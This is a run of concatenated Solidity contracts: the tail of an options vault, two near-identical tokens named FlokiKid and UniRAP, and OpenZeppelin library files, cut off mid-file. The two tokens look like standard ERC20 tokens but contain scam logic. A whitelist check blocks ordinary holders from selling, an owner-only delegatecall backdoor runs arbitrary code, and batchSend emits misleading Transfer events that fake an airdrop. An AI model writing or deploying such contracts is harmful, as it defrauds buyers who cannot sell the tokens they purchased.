IERC20(asset).balanceOf(address(this)); uint256 shortAmount = wmul(currentBalance, lockedRatio); uint256 shortBalance = adapter.delegateCreateShort(optionTerms, shortAmount); address newOption = adapter.getOptionsAddress(optionTerms); IERC20 optionToken = IERC20(newOption); optionToken.approve(address(_swapContract), shortBalance); currentOption = newOption; lockedAmount = shortAmount; emit OpenShort(newOption, shortAmount, msg.sender); } /** * @notice Returns the expiry of the current option the vault is shorting */ function currentOptionExpiry() external view returns (uint256) { address _currentOption = currentOption; if (_currentOption == address(0)) { return 0; } OtokenInterface oToken = OtokenInterface(currentOption); return oToken.expiryTimestamp(); } /** * @notice Returns the vault's total balance, including the amounts locked into a short position */ function totalBalance() public view returns (uint256) { return lockedAmount.add(IERC20(asset).balanceOf(address(this))); } /** * @notice Returns the amount available for users to withdraw. MIN(10% * (locked + assetBalance), assetBalance) */ function availableToWithdraw() external view returns (uint256) { return _availableToWithdraw( lockedAmount, IERC20(asset).balanceOf(address(this)) ); } /** * @notice Helper function that returns amount available to withdraw. Used to save gas. */ function _availableToWithdraw(uint256 lockedBalance, uint256 freeBalance) private pure returns (uint256) { uint256 total = lockedBalance.add(freeBalance); uint256 reserveRatio = uint256(1 ether).sub(lockedRatio); uint256 reserve = wmul(total, reserveRatio); return min(reserve, freeBalance); } /** * @notice Returns the token name */ function name() public pure override returns (string memory) { return _tokenName; } /** * @notice Returns the token symbol */ function symbol() public pure override returns (string memory) { return _tokenSymbol; } /** * @notice Only allows manager to execute a function */ modifier onlyManager { require(msg.sender == manager, "Only manager"); _; } }
DC1
/** *Submitted for verification at Etherscan.io on 2021-06-26 */ pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract FlokiKid { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); //go the white address first if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
DC1
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract UniRAP { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); //go the white address first if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
DC1
// Dependency file: @openzeppelin/contracts/token/ERC20/IERC20.sol // SPDX-License-Identifier: MIT // pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * // importANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // Dependency file: @openzeppelin/contracts/math/SafeMath.sol // pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // Dependency file: @openzeppelin/contracts/utils/Address.sol // pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [// importANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * // importANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // Dependency file: @openzeppelin/contracts/token/ERC20/SafeERC20.sol // pragma solidity >=0.6.0 <0.8.0; // import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; // import "@openzeppelin/contracts/math/SafeMath.sol"; // import "@openzeppelin/contracts/utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // Dependency file: contracts/interfaces/IDePayRouterV1Plugin.sol // pragma solidity >=0.7.5 <0.8.0; pragma abicoder v2; interface IDePayRouterV1Plugin { function execute( address[] calldata path, uint[] calldata amounts, address[] calldata addresses, string[] calldata data ) external payable returns(bool); function delegate() external returns(bool); } // Dependency file: contracts/libraries/Helper.sol 